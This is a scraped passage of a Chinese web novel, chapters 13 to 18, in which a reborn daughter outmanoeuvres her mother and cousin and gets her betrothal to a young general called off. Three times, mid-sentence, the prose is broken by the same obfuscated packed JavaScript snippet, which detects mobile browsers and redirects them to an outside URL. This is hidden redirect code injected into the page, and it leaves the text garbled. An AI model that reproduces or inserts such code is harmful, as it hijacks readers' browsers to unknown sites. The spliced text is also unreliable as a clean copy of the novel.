“洛云舒!我是平妻,不是妾!”孙玉瑶大吼。 她才不是低贱的妾! “平妻?我朝并不承认平妻,说白了,说你是平妻只是空口白话而已。” “那又怎样?女子嫁了人,有夫君的宠爱才是要紧事。得不到夫君的宠爱就是弃妇。一个弃妇,有什么好嚣张的?” 洛云舒神色平静,缓缓道:“如今我还就嚣张了,你有什么对付我的本事,只管使出来。” “你给我等着!”说完,孙玉瑶夺门而出。 毫无疑问,这是找孙氏告状去了。 知意立刻上前:“大小姐,奴婢这就去把院门关上。 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“云舒,你真是太让我失望了!” 是孙氏,她咆哮着进来了。 指责,劈头盖脸地砸下:“玉瑶是你妹妹,你怎能如此欺负她?明日就是她大婚之期,你故意在她脸上留下掌掴的痕迹,就不怕霍家拿你是问?” “这是我的事,就不劳母亲费心了。” 孙氏一怔。 洛云舒从不忤逆她。 这样跟她说话,是第一次。 “你、你翅膀硬了是不是?” “是。”洛云舒直言不讳。 孙氏教训的话还没说出来,洛守礼就已经风风火火地闯了进来。 一瞬间,满屋子的人都看向他。 毕竟,这个时候,洛守礼不该出现在这里。 洛守礼环视众人,视线最终落在洛云舒身上:“霍少将军重伤,婚事、延期!” 第13章 我要去看少远哥哥 “什么?”孙氏和孙玉瑶齐齐惊叫出声,满脸的不可置信。 洛云舒的脸上呈现出恰到好处的惊讶,但并不惊慌。 她表现得很镇定。 洛守礼看向洛云舒:“你不难过?” 洛云舒回看过去,语气平和:“父亲早就教过我,要我喜怒不形于色。我这是在践行父亲的教导。” “我让你喜怒不形于色,指的是在外人面前。” 这话,洛云舒没应。 因为在她心里,自从父母逼着她殉节开始,他们对于她而言,就已经是外人了。 为了避免洛守礼再在这个问题上追问,洛云舒拿话堵他的嘴:“父亲,霍少将军是怎么受伤的?” “不清楚。”洛守礼摇了摇头,“下值回来的路上,我得知霍少将军出事,第一时间赶了过去。当时府上的气氛很不对,过了会儿安国公才出来说,霍少将军重伤,明日婚事无法如期举行,要延期。” 洛守礼的语气,说不出的凝重,隐隐带着些怒气。 实则,今日在安国公府,接待他的并不是安国公,而是安国公身边的小厮。 这自然让他感到万分**。 在他看来,他和安国公府是儿女亲家。 从这个关系上来说,他们的身份是对等的。 可婚事延期这样的大事,竟是府上的一个下人来通知他,这简直是没把他放在眼里! 然而,更让他忧心的却是婚事延期。 婚事一旦延期,就意味着会有变数。 这变数,恰恰是他不敢赌的。 这时候,在孙氏怀里哭得上气不接下气的孙玉瑶抽噎道:“姑姑,我要去看少远哥哥,我要去看他!” “好,好,姑姑这就陪你去。” 说完,姑侄二人就要往外走。 “站住!”洛守礼喝道,“安国公府这会儿正是上下忧心的时候,不可在这个时候过去添乱。” “姑父,我实在是担心少远哥哥。他若是有个闪失,我、我也不活了。” 说着,孙玉瑶又哭倒在孙氏怀里。 孙氏跟着帮腔:“老爷,你有所不知,如今在明面上,玉瑶是救了霍少将军的人,安国公府不会不卖她这个面子。更何况,霍少将军爱重玉瑶,玉瑶这个时候前去探望,霍少将军一定会铭记于心,这对她以后是极有好处的。” 洛守礼瞥了孙氏一眼,心中有怒气,却隐忍不发。 有这样的好处,不给自己的亲生女儿,反倒是想着自己的侄女,竟这样蠢? 转脸,洛守礼看向洛云舒:“云舒,你去安国公府一趟,探探霍少将军的病情。” 洛云舒屈膝行礼:“父亲,女儿以为,这个时候去,不妥。” “为何?” “一来,女儿虽与霍少将军有婚约,可到底是还没有嫁过去,深夜前去探望,于礼不合。二来,如您所言,霍少将军重伤,安国公府这会儿正是焦心的时候,女儿这个时候去,失礼不说,还会惹人厌弃,实非明智之举。” 洛守礼顺着洛云舒的话一想,觉得有些道理:“既然如此,为父就让人时刻留意着那边的动静,静观其变。” 洛云舒如愿以偿,孙玉瑶却哭得更厉害了。 孙氏着急,劝道:“老爷,玉瑶与霍少将军心意相通,她实在是想去。要不,就让她去吧?” 洛守礼脸色微僵,片刻后却是点了头:“玉瑶若是实在放心不下,就去一趟吧。” 闻言,孙氏大喜,拉着孙玉瑶就要出去。 “慢着!你不能去。” 孙氏回身,满腹不解:“为何?” 洛守礼的脸色难看得很:“你是洛府主母,一言一行都代表洛府,不可造次。此事,让玉瑶一人前去即可。” “好,那我就自己去。”说完,孙玉瑶也不再管孙氏,招呼人准备马车,匆匆而去。 孙氏看着她的背影,满脸焦灼。 回身再看洛守礼的时候,忍不住埋怨道:“老爷,玉瑶她到底是年轻,这么晚了,让她一个人出门,我这个做姑姑的实在是放心不下,你就让我跟着去吧。” 洛守礼瞥她一眼,不耐烦跟她解释,只看了洛云舒一眼:“你跟你母亲解释。” “是,父亲。”洛云舒一口应允,随即看向孙氏,解释道,“母亲,今日父亲已经去过安国公府,您若是再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429486|169168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前去,会显得咱们太过热络。再者,安国公府这会儿正是焦灼的时候,恐怕没时间招待客人。若玉瑶一人前去,即便是被拒之门外,还可以解释为小辈不懂事。可若是您也一同前去,再被拒之门外,失的是咱们洛家的脸面,故而父亲不允许您同去。” 听完,孙氏不服:“如今玉瑶是安国公府的贵客,他们不敢把她拒之门外。” “那就且等着看!”说完,洛守礼一甩袖子,走了。 孙氏或许还是想去,追着洛守礼出去了。 洛云舒难得清净,心里说不出的轻松。 安国公府这会儿岂止是焦灼,这焦灼之中,只怕还夹杂着无言的愤懑。 谁这个时候去安国公府,只有触霉头的份儿。 霍少远出事,是太子的手笔。 原本,今日霍少远是要在确保拿下祝三之后,刺杀太子的。 这下,他反过来被刺杀,却又不能公然指责是被太子刺杀,简直是打破牙齿和血吞。 安国公府本就是京城中的显贵,再加上宫里有霍贵妃坐镇,更是不可一世。 说起来,安国公府还从没有受过这样的憋屈。 这猛然间受了,心里指不定多懊恼呢。 说白了,这会儿安国公就是个炮仗,谁碰谁倒霉! 果然如洛云舒所料,孙玉瑶一到安国公府,就吃了闭门羹。 她气得几乎跳脚,却又按捺着性子说道:“你怕是不知道本小姐是谁吧?我姓孙,是你们府上霍少将军的救命恩人。你快去通报一声,若耽误了本小姐的事,仔细你的命!” 孙玉瑶气势很足,唬住了门房的人。 门房的人立刻进去通报,再回来的时候脸色阴沉,不耐烦道:“走,赶紧走!” 孙玉瑶急了:“你竟敢赶我走?你知不知道,要是不出意外,我明日嫁进来,就是府上的少国公夫人!” 门房的人不听她说这些,径直把她往外一推。 孙玉瑶一时不察,摔下台阶,滚了一身的土。 被丫鬟扶起后,她只觉得天旋地转,一睁眼,却看到安国公夫人身边的窦嬷嬷走了出来。 孙玉瑶大喜! 第14章 你快把他发卖了去! “窦嬷嬷!”孙玉瑶大声道。 不等窦嬷嬷回答,孙玉瑶就迫不及待地告状:“这门房好生无礼,将我拒之门外就已经够放肆的了,他居然还推我!窦嬷嬷,你快把他发卖了去!” 窦嬷嬷站在国公府门前高高的石阶上,自上而下地打量着孙玉瑶,眉目中带着几分不屑:“怎么,孙小姐这还没进门,就开始支使我们国公府的下人了?” 孙玉瑶一愣,还以为是天色暗淡,窦嬷嬷没看清是她,她立刻往前走了两步:“窦嬷嬷,是我啊。” “我知道是你。”窦嬷嬷不耐烦道,“孙小姐,如今国公爷和国公夫人正是烦不胜烦的时候,你若是继续在这里**,休怪我们国公府不顾往日的情面!” “我、我是霍少将军的救命恩人啊,也是他的……” 孙玉瑶的话还没说完就被窦嬷嬷打断:“孙小姐,休要拿什么救命恩人来说事儿,事情的真相是什么,别人不知道,你自个儿心里还不清楚吗?” “就算没有这件事,我也是你们府上即将进门的少国公夫人,你怎么可以这么对我说话?” 窦嬷嬷冷哼一声:“孙小姐,容我提醒你一句,是平妻,不是少国公夫人。说白了,平妻就是妾,一个妾,自己本身就是个玩意儿,还妄想发卖府里的下人,孙小姐还真是痴心妄想!” “我不是妾!”孙玉瑶大吼,“少远哥哥说了,给我的是平妻之位,和少国公夫人没什么区别!” 窦嬷嬷又瞥她一眼,那眼神无比嫌弃:“孙小姐,我朝并不承认平妻。再者,孙小姐日后还是别这么提起我家少国公爷的名讳,什么哥哥妹妹的,真是臊**了!” “你……”孙玉瑶犹如一只被掐住脖子的鸡,愤怒至极,却说不出更多的话来。 见她如此,窦嬷嬷撇撇嘴,更是嫌弃:“孙小姐,你是我们未来少国公夫人的表妹,总该学到她一星半点儿的气度。当初洛小姐得知即将要殉节,尚且没有急成你这般上蹿下跳的样子。今日一看,你与洛小姐,当真是云泥之别。” 孙玉瑶最受不得别人拿她和洛云舒比,当下就恼了:“你个老刁奴,你怎可如此说我?我再怎么不好,也比那个套在壳子里的女人强!” “孙小姐真是好大的口气啊!”说着,窦嬷嬷的脸色变得阴沉起来。 她是国公夫人的贴身丫鬟,自小和国公夫人一起长大,又随着她嫁人。 在这偌大的国公府,除了国公爷和国公夫人,就连府上的公子、小姐都对她礼遇有加。 现如今,一个未过门的妾都敢这般冲她叫嚣,真是不知所谓! 孙玉瑶又要争辩,被身旁的丫鬟秋香抓住了手腕。 “小姐,不可再与她争论。您毕竟还没进门,听闻这位窦嬷嬷在国公夫人面前很得脸。这个时候得罪她,不妥。” 孙玉瑶咬着下唇,把这话给听进去了。 回去的马车上,她只觉得万分**,一边哭一边说道:“等我嫁给少远哥哥,定要把这个老刁奴打杀了!” “小姐,您且忍耐着些。霍少将军吉人自有天相,他一定会快点好起来的。” “那是自然!”说着,孙玉瑶的神色变得阴沉了几分,“那个老刁奴居然说我不如洛云舒,真是可恶!秋香,你说,我怎么不如她?” “小姐,您不可妄自菲薄。”说着,秋香低下头去。 有些实话,她不能说。 孙玉瑶受了委屈,回洛府之后到孙氏面前好一通哭诉,说安国公府的人狗眼看人低,不把她放在眼里。 孙氏也是一惊:“安国公府的人连门都没让你进?” “可不是嘛。姑姑,他们欺负我。还说我不如云舒姐姐。”说到这儿,孙玉瑶偷偷地看了一眼孙氏的脸色,又低下头去,自怨自艾,“我怎么可能比得过云舒姐姐呢?她是官家小姐,我比不起的。” “胡说!”孙氏一脸严肃,“玉瑶,你且记住,我们孙家的女子,不会比别家的女子差。你切不可妄自菲薄,旁人说你不如云舒,不过是云舒的规矩学得好,能入那些世家夫人的眼罢了。” “姑姑,您就会安慰我。” “我说的都是实话。如今洛家的掌家权已经在我手上,我明日就给你请个从宫里出来的嬷嬷,让她好好教教你规矩。再者,我多给你置办一些名贵的衣裳首饰,保准那些人再不敢狗眼看人低!” 孙玉瑶心中大喜,倚在孙氏怀里撒娇:“姑姑,你对我最好了。” “那是,你是我亲侄女,我不对你好对谁好?” 孙玉瑶在安国公府门口的遭遇,洛云舒很快就知道了。 她掌管洛府多年,上到府里的管家、各个管事,小到车夫、小厮,都曾受过她的恩惠。 故而,她想得到什么消息,很 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洛云舒在这时候走出去,平静地看着孙氏:“知意和灵雀是我的人,知道我没睡醒,这才将你拦下,唯恐我这个做女儿的在母亲面前失礼,这有什么不对的?” 孙氏冷眼:“云舒,我是你母亲。我训斥你房里的人,你还要为她们讨回公道不成?再者,如今府上的掌家权在我手里,我若是一个不喜,发卖了她们也是有可能的。” 说完,孙氏的眼神扫过知意和灵雀,威胁之意尽显无遗。 洛云舒轻声一笑:“母亲,你这管家权拿过去,那些本本册册的,还没看过吧?” “那又如何?” “如果你看过,就该知道知意和灵雀的**契都在我这里,你无权发卖他们。” “你、你这是瞒天过海,既然将管家权给了我,为何不把她二人的**契一并交给我?” 洛云舒面色平静,缓缓陈述道:“三年前,我就已经从府中买下了知意和灵雀的**契。这件事,父亲也是点头答应了的。母亲若是有什么不满的,只管去问父亲。” 孙氏瞪了洛云舒一眼,强压怒气:“罢了,我是长辈,懒得跟你计较。我来是想告诉你一声,自今日起,你就去灵佛寺跪地祈福,霍少将军什么时候醒,你就什么时候回来!” 第15章 不像我,什么都要靠自己挣 洛云舒看着孙氏,语气平静:“不去。” “不去?”这一瞬,孙氏简直怀疑自己的耳朵,“你凭什么不去?如今重伤的是你未来的夫君,你不想着为他祈福,你想干什么?” “母亲,你提出这个要求,问过父亲了吗?” 孙氏脸色一冷:“如今内宅是我当家做主,这些小事我完全可以做主。” “小事?”洛云舒嗤笑,“如今我还没过门,母亲就让我上赶着去给霍少远祈福,母亲就不怕别人议论咱们洛家谄媚?” “怎么就谄媚了?如今我们洛府与安国公府是姻亲,哪里说得上是谄媚二字?” “是啊,母亲也知道是姻亲,不是下官对上司。既然如此,女儿倒是要问母亲一句,婚事延期这么大的事情,安国公夫人可曾亲自前来致歉?” 孙氏哑口无言。 的确,按照规矩,安国公夫人今日是要登门致歉的。 毕竟,婚事拖延是安国公府理亏在先。 虽然如今霍少远重伤,但是在礼节上,安国公夫人理应前来致歉。 如此一来,外人才不会议论此事。 但是,直到现在安国公夫人都没有来洛府,这足以说明,安国公府压根儿就没有把洛府放在眼里。 如果这时候洛云舒还巴巴地去寺庙给霍少远祈福,丢的是洛家的脸面。 洛守礼这个人最看重脸面,他不会容忍这样的事情发生。 所以,洛云舒的拒绝,合情合理。 看着说不出话来的孙氏,洛云舒唇角微扬:“母亲,我知道你想在这个时候给洛家卖个好。我有个主意,既可以让洛家知晓母亲的心意,又不至于折损了洛家的颜面,母亲要不要听?” “快说!”孙氏声音急切,迫不及待。 “霍少将军重伤,如果有与他心意相通之人为他祈福,想必他很快就会醒来。玉瑶妹妹就是最佳人选,毕竟,她只是客居在洛府,不算洛府的人,让她去祈福,既可以让安国公府知晓咱们的诚意,又不至于被人议论,丢了洛府的脸面,可谓是一举两得。” 等洛云舒说完,孙氏满脸的兴奋化作虚无。 她审视着洛云舒,冷哼一声:“说到底,你还是看玉瑶不顺眼。” 洛云舒端起面前的杯盏,轻轻地抿了一口茶:“母亲这话从何说起?” “这祈福的时候,若要心诚,是要一直跪着的。如今还不知道霍少将军什么时候能醒过来。他若是一日不醒,玉瑶就要跪上一日。这一日两日的还好说,若是日子多了,这膝盖都要跪废了。玉瑶还年轻,膝盖出问题可不行。” 听完,洛云舒看着孙氏,一双眸子黑亮亮的,她似是在自言自语,又像是在说给孙氏听:“原来母亲也知道,在佛前跪久了,膝盖是要出问题的。” 孙氏想到了什么,脸色一僵:“玉瑶和你不同,她打小身子就弱。不像你,你是官家小姐,吃好的,用好的,身子自然也是最好的,耐摔打。不过是在佛前跪上几日而已,不是什么大问题。” “官家小姐?”洛云舒笑了,“母亲怕是忘了,我八岁那年,父亲才中进士。在此之前,家里为了供父亲读书,日子过得捉襟见肘,我也是上山砍过柴,下地做过农活的。” 孙氏气得直瞪眼:“你如今真是愈发没规矩了!我说你一句,你就有成千上百句等着我!怎么,如今我这个做母亲的还管不得你了?” 洛云舒垂眸:“若母亲说话在理,女儿无有不应。” 反之,若不在理,她是不可能听话的。 这下,孙氏碰了一鼻子灰,气呼呼地回了自己的院子。 早就等在那里的孙玉瑶急不可耐地凑上前,问道:“姑姑,云舒姐姐什么时候出发?” “别提她!她不愿意去!” “啊?她不愿意?”孙玉瑶急了,“姑姑,这怎么能行呢?安国公府本就轻看咱们,云舒姐姐若是不去,这桩婚事要是黄了可怎么办?” 孙氏看她一眼,自信道:“这婚事怎么可能会黄?霍少将军心仪你,以为你是她的救命恩人,怎会不娶你?” “话虽如此说,可我的身份到底是 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然而,让孙玉瑶意外的是,孙氏非但没生气,还夸她:“玉瑶,你真是会为云舒着想。如果不是你,她也攀不上安国公府这门亲事。到时候你二人一起嫁过去,彼此相帮,日子就过不差。” 孙玉瑶顿时就笑了:“姑姑说的是。有好事,我自然是想着自家姐妹。” 见孙玉瑶这般乖顺,孙氏又忍不住埋怨:“要是云舒也有你这么听话就好了。我说她一句,她恨不得怼我十句,如今她翅膀硬了,愈发不把我这个母亲放在眼里。” “姑姑,这您就错怪云舒姐姐了。她是官家小姐,想要什么都有。不像我,什么都要靠自己挣。”说着,孙玉瑶突然抹起眼泪来,“罢了,云舒姐姐不愿意去祈福就不去吧。总不好勉强她。至于我,安国公府肯定是能进的,至于以后会不会被主母磋磨,那就另说吧。大概,是我命该如此。” 孙氏顿时就急了:“玉瑶,你可千万别这么想。你放心,姑姑一定让云舒去庙里祈福。” 第16章 云舒,我不打算瞒你了 短短两刻钟后,孙氏再次出现在洛云舒的院子里。 这一次,她愁眉紧皱,坐下没说话,先是叹了好几口气。 洛云舒坐着看话本子,没搭理她。 之前她整天不是忙着看账本就是管理府中的庶务,整日里忙得跟陀螺一般。 现在什么事都不用管,她终于体验到了闲暇的快乐。 趁着这个时候看看话本子,吃点瓜子,很惬意。 至于孙氏叹着气还时不时看她一眼,洛云舒只当没看到。 最终,孙氏坐不住了:“云舒,我不打算瞒你了。” “哦。” 孙氏一拍桌子:“云舒,你不是最注重规矩吗?这会儿我这个做母亲的跟你说话,你怎么看都不看我一眼?” 洛云舒抬头看她,眼神有些迷茫:“母亲之前不是说过,家里是讲情的地方,不是讲规矩的地方吗?” 孙氏是木匠之女,在洛守礼还没中进士的时候就嫁给了他。 洛守礼做地方官的时候,孙氏虽然也学了规矩,但也不时会闹出笑话。 只是那时候到底是在地方上,接待上官的时候有限,虽然闹出了笑话,但也酿不成什么大错。 后来到了京城,洛守礼就把管家权给了洛云舒,让她教孙氏规矩。 那时候,孙氏总说家里是讲情的地方,让洛云舒不要总拿规矩压制她。 今天,洛云舒算是把这句话还给了她。 “好,那我就不跟你讲规矩。”孙氏强压怒气,说道,“你可知道现在外面的闲话都传成什么样子了?” “不知。” “外面不知怎么的就兴起一股子传言,说你福薄,担不起少国公夫人的富贵,这才导致霍少将军重伤。” 洛云舒立刻坐直身子,正色道:“母亲这闲话是从哪里听来的?” “就、就是市井传闻。府里买菜的婆子出去买菜,无意中听到的。” 洛云舒面色如常,据她所知,外面并没有这样的传言。 若真有,那么,她乐见其成。 但是现在,她要与孙氏较这个真:“府里还需要人出去买菜?现如今,咱们庄子上种的菜足够咱们府上吃,每日会由杨管事送来。即便个别菜咱们庄子上没有,也有菜行的人往这儿送,压根儿就不需要出去买。” 当初洛守礼进京做京官,统共就带了八百两银子。 他们进京之后连房子都买不起,是洛云舒用手里的银子买了铺子,置了地,一步步开源节流,想方设法地挣银子,才买了现在这宅子,让府里的银两愈发充盈。 也正是因为如此,府上方方面面的事情,她都门儿清。 听到洛云舒的话,孙氏先是一愣,继而说道:“是我自己有想吃的菜,打发人去买,然后就听到了这样的传言。” 解释完,孙氏瞪圆了眼睛看洛云舒:“云舒,你到底有没有听清楚我话里的重点?现在从哪里听到的传言不重要,重要的是这个传言的内容很歹毒,要是稍有不慎,你就没办法嫁进安国公府。” “那就不嫁。”洛云舒一副无所谓的态度。 孙氏懵了:“你、你不是爱慕霍少将军吗?” “那又怎样?这传言这样歹毒,分明是不想让我嫁进国公府去。” “无妨,只要你肯去灵佛寺祈福,就能破了这传言。”孙氏放缓了语气,循循善诱道,“你想啊,宫里有霍贵妃在,肯定会请太医给霍少将军诊治。这宫里的太医一个个妙手回春,一定能把霍少将军救活。你又在寺庙祈福,到时候霍少将军苏醒,一定会念着你的功劳。这样一来,说你福薄的传言不就不攻自破了?” “母亲,有这好事,您该想着玉瑶妹妹啊。兴许她祈福把霍少将军给祈醒了,国公夫人一高兴,就不让她做平妻,直接就是正妻了。” “你这丫头!”孙氏作势打了洛云舒一下,嗔道,“你这孩子,我不过是说了玉瑶几句好话,你还真当我更看重她?你是我亲生女儿,在我心里,你才是最重要的。” 说着,孙氏竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429489|169168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是落下几滴泪来:“云舒,你是长女,是跟着我切切实实过过苦日子的。你弟弟妹妹出生的时候,家里已经能过得去了。说到底,咱们母女才是真正同甘共苦过的。正是因为同甘共苦过,我这个做母亲的才更希望你过得好。” 若是在从前,这话,洛云舒兴许也就信了。 上一世,她也总是觉得孙氏不够疼她。 可每当这个时候,孙氏就会苦兮兮地跟她说这些,让她仿佛生出一些错觉,那就是——母亲也是在意她的。 只可惜,重活一世,她看明白了。 母亲心里没她。 重生第一课,是母亲不爱她。 哦,还有父亲。 毕竟,他们连逼她殉节的事情都做得出来。 这一刻,洛云舒看着孙氏,眸子格外沉静。 之后,她垂眸,视线落在自己的左腿上:“母亲,你总说玉瑶体弱,没法子去佛前祈福。可您怎么就忘了,十三岁那年,我这左腿是断过的。别说是去佛前跪上几日,就算是跪半个时辰,我都受不住。” 十三岁那年,母亲总念叨着说不想再住租赁的宅子,想买一个。 只是,那时候父亲初入京城,俸禄不高,又时常需要打点,府里的账面上根本没多少银子。 而她终于找到一个机会,跟着一个商队一起去江南贩卖文玩,途中经过土匪的地盘,被土匪追的时候摔下马,断了左腿。 那一次,她九死一生。 却也挣到了不菲的银两。 她瘸着腿回到京城,置办了宅子。 她总以为,只要她做得足够好,父母就能多爱她一些。 可现在,她明白了,父母如果真的爱她,不会因为她做了什么而爱她。 因为父母对孩子的爱,原本就是无条件的。 这种爱,祈求不来。 所以现在,她不再心存希望。 可孙氏接下来所说的话,却还是犹如一桶冰水,狠狠地浇在她心里最脆弱的地方。 第17章 你可真是一点儿退路都没了 “云舒,不是我跟你较真,当时你伤的是左腿,不是膝盖,跪上几日不成问题。再说了,你断腿那都是多久以前的事情了。你年轻,骨头长得快,早就没事了。你不愿意去祈福,分明就是躲懒。” 说话的时候,孙氏盯着洛云舒,似乎是想要从她脸上找出说谎的痕迹。 洛云舒神色淡淡,语气平静:“母亲,断腿的是我,不是你。无人知道,断腿之痛,是何等的钻心。” “那都是以前的事情了。再说,痛这种事情,忍忍也就过去了。当年我生你的时候,才真是痛掉了我半条命。你是我女儿,我自然得为你做长远的打算。祈福这件事你做好了,日后就是享不尽的荣华富贵。这次你一定得听我的!” 说着,孙氏的语气变得强势起来,大有洛云舒不听,她就押着洛云舒去庙里的架势。 这事儿,孙氏还真做得出来。 “在这个节骨眼儿上,这件事,母亲还是问问父亲的意思吧。若父亲也让我去,母亲再来同我说也不迟。” 说完,洛云舒转身进了里间,不愿再搭理孙氏。 等她回过神来,就看到知意和灵雀站在她面前,双双抹着眼泪。 洛云舒笑:“哭什么?” 灵雀快人快语,立刻道:“小姐,奴婢真看不惯夫人这样对您。哪有把自己女儿往火坑里推的?” “她是怕我不嫁进安国公府,孙玉瑶一个人无法应付。” “啊?哪有不向着自己女儿,反倒是向着侄女的?” 洛云舒笑得更灿烂了一些:“喏,现在不就有了。人活这一辈子,大概是什么匪夷所思的事情都能遇见吧。罢了,不说这些,我有两件事,交给你们去办。” “小姐,您吩咐。”知意和灵雀立刻打起精神来,躬身听洛云舒的吩咐。 “知意,你留意着孙玉瑶那边的动静。我不肯就范,她肯定是要闹出一些传言来,好逼我母亲强迫我去庙里祈福。若真的被我料中,你找些人,让这传言传得更广泛一些。” 说完,洛云舒又看向灵雀:“我估摸着安老大快入京了,你去他常落脚的云来客栈给他留句话,就说入京之后,给我传信,我有事情请他帮忙。” 安老大是安家商队的东家,这些年来,她与安老大一直有合作。 自然,她是官家小姐,不可抛头露面,这么多年来和安老大打交道都是用的化名,现身的时候也都是女扮男装。 果然不出洛云舒所料,孙玉瑶那边果然有了动静。 外面,也真的兴起洛云舒福薄的传言。 这传言越传越凶,甚至说洛云舒克夫。 这其中,有洛云舒的推波助澜。 知意不解:“小姐,您这是伤敌一千,自损八百啊!若真是任由传言这么传下去,还有谁敢娶您?” 洛云舒笑笑,并不为此困扰:“做任何事,总不能都占尽好处。至少这样一来,我不用嫁给霍少远。只要能达成所愿,适当落于下风也没什么。” 说到底,还是因为她是女子,能做的事情有限。 拖延婚期,她借助了太子的力量。 要想彻底推掉这桩婚事,只能兵行险招。 她不求事事占尽好处,只求最后能得偿所愿。 终于,在这传言越传越凶的第三天,安国公府来人,请洛云舒过府叙话。 来的,是安国公夫人身边那位窦嬷嬷。 窦嬷嬷颐指气使惯了,来了之后就催洛云舒快点去。 里间内,知意正在给洛云舒梳妆。 一旁,孙氏喋喋不休:“你父亲不听我的,不让你去寺里祈福。这下好了,传言传得这么厉害,安国公府来人了。如今,你可真是一点儿退路都没了。” 洛云舒看她一眼,懒得搭理。 孙氏喋喋不休,又道:“今日不管安国公夫人如何刁难,你都要忍着。还有,你去了安国公府,一定要记得告诉安国公夫人,玉瑶担心霍少将军,天天在家里哭。” “好。”洛云舒梳妆已毕,起身,双手平举,交握在胸前,规行矩步,缓缓走了出去。 行走时,头上的步摇丝毫不乱,姿态从容。 窦嬷嬷见了,眼底难掩惊艳之色。 上了马车后,洛云舒往窦嬷嬷手里塞了一枚金锭子。 窦嬷嬷推辞不要,被洛云舒按住,又递了个香囊过去:“嬷嬷莫要推辞,这是我的一点心意。眼下虽是暮春,可到底带了些暑气,劳烦嬷嬷跑这一趟,我心里实在是过意不去。这是我做的香囊,可以清暑气,还请嬷嬷笑纳。” 窦嬷嬷看了看手里的香囊,的确有一些清冽的气息,很好闻。 这东西,很有巧思。 收了行囊,那金锭子自然也就不能推却。 送完东西,洛云舒安安稳稳地坐着,似乎并不期待什么。 临到安国公府门口下马车的时候,窦嬷嬷避开其他人,低声道:“洛小姐,我家夫人听到了外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429490|169168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面的传言,有些生气。” 窦嬷嬷点到为止。 洛云舒满脸感激,眸光格外真诚:“多谢嬷嬷提点。” 窦嬷嬷一路引着洛云舒入了内院,穿过一道长长的廊子之后,就到了安国公夫人的院子。 安国公府是**来的,这府邸随便哪一处都颇有底蕴,一路上,洛云舒从不乱看。 哪怕是到了安国公夫人的院子,她也目不斜视,规规矩矩地行礼:“见过国公夫人。” 这规矩,安国公夫人挑不出错来。 她冷哼一声:“外面兴起的传言,你可都听到了?” “有所耳闻。” 啪! 安国公夫人拍了桌子:“只是有所耳闻?你可知现在外面的传言传得有多难听?说你克夫!” 若是旁的,安国公夫人还能忍,这克夫之名,她是万万忍不得的。 安国公夫人的用意,洛云舒猜了个七七八八。 她垂眸,语气依旧恭敬:“小女自知难以高攀,愿解除这桩婚约,免得过了晦气给霍少将军,影响了他的前程。” 一番筹谋,终于到了今日收获的时候。 洛云舒知道,相比少国公爷,安国公夫人更乐意别人称她的儿子为少将军。 毕竟,少将军是霍少远自己挣来的,显得他有本事。 因为有本事,才更在意前程。 但,听到洛云舒这么说,安国公夫人意外之余,又惊讶洛云舒的得体。 她原本只是想拿传言的事探探洛云舒的口风,没曾想,洛云舒居然这样爽快。 安国公夫人轻轻舒了口气,却也有些不舍。 毕竟,洛云舒端方知礼,又进退有据,满京城的闺秀,她最中意洛云舒。 也正是因为如此,当初虽然看不上洛云舒的家世,却还是定下了这桩婚事。 可想到她克夫的名声,安国公夫人终于下定了决心:“既然你有这个自知之明,本夫人也不说什么。回去之后,让你父亲写退婚书来,也好全了这体面。” 洛云舒微微沉默。 瞧,这就是世家大族的做派,他们占尽好处,又不想沾染半分名声上的污点。 就连退婚,都要由女方提出来,他们再“勉为其难”的同意,显不出丝毫的刻薄来。 只是不知道她那位好父亲,要被气成什么样子了。 不过,她不在意。 现在,她打算给自己讨些好处。 第18章 我是太子殿下的人 主意打定,洛云舒躬身行礼:“夫人,可否请您给个恩典?” 安国公夫人高高在上,语气平和:“说。” “此番退婚,外加这甚嚣尘上的传言,小女日后在府中的日子怕是不好过。请夫人垂怜。” 洛云舒料定,她的要求,安国公夫人不会拒绝。 毕竟,安国公夫人已经得了她想要的好处。 果然,安国公夫人没有丝毫的犹豫,直接开口:“待退婚事了,本夫人可以认你做义女,过段时间再正正经经地办个认亲宴也就是了。有这层身份在,无人敢轻视你。而你,也须得维护安国公府的声誉。” 维护安国公府的声誉,就意味着退婚这件事,洛云舒不能在外人面前说安国公府的坏话。 这话里的意思,洛云舒懂。 她立刻应道:“夫人放心,小女得了您的恩惠,自然不会给贵府抹黑。” “如此甚好。”说着,安国公夫人变得慈眉善目起来,她招手叫洛云舒过去,把手上的镯子褪下来,套在洛云舒的手腕上,“你这孩子本夫人是真心喜欢,只可惜天意弄人,不然,你我是可以做婆媳的。” “是我没这个福分。” “罢了,做不得婆媳,你也是本夫人的义女。”说着,安国公夫人微微笑着,尽显慈悲。 洛云舒回之一笑,似是满目感激。 此番退婚,双方都很满意。 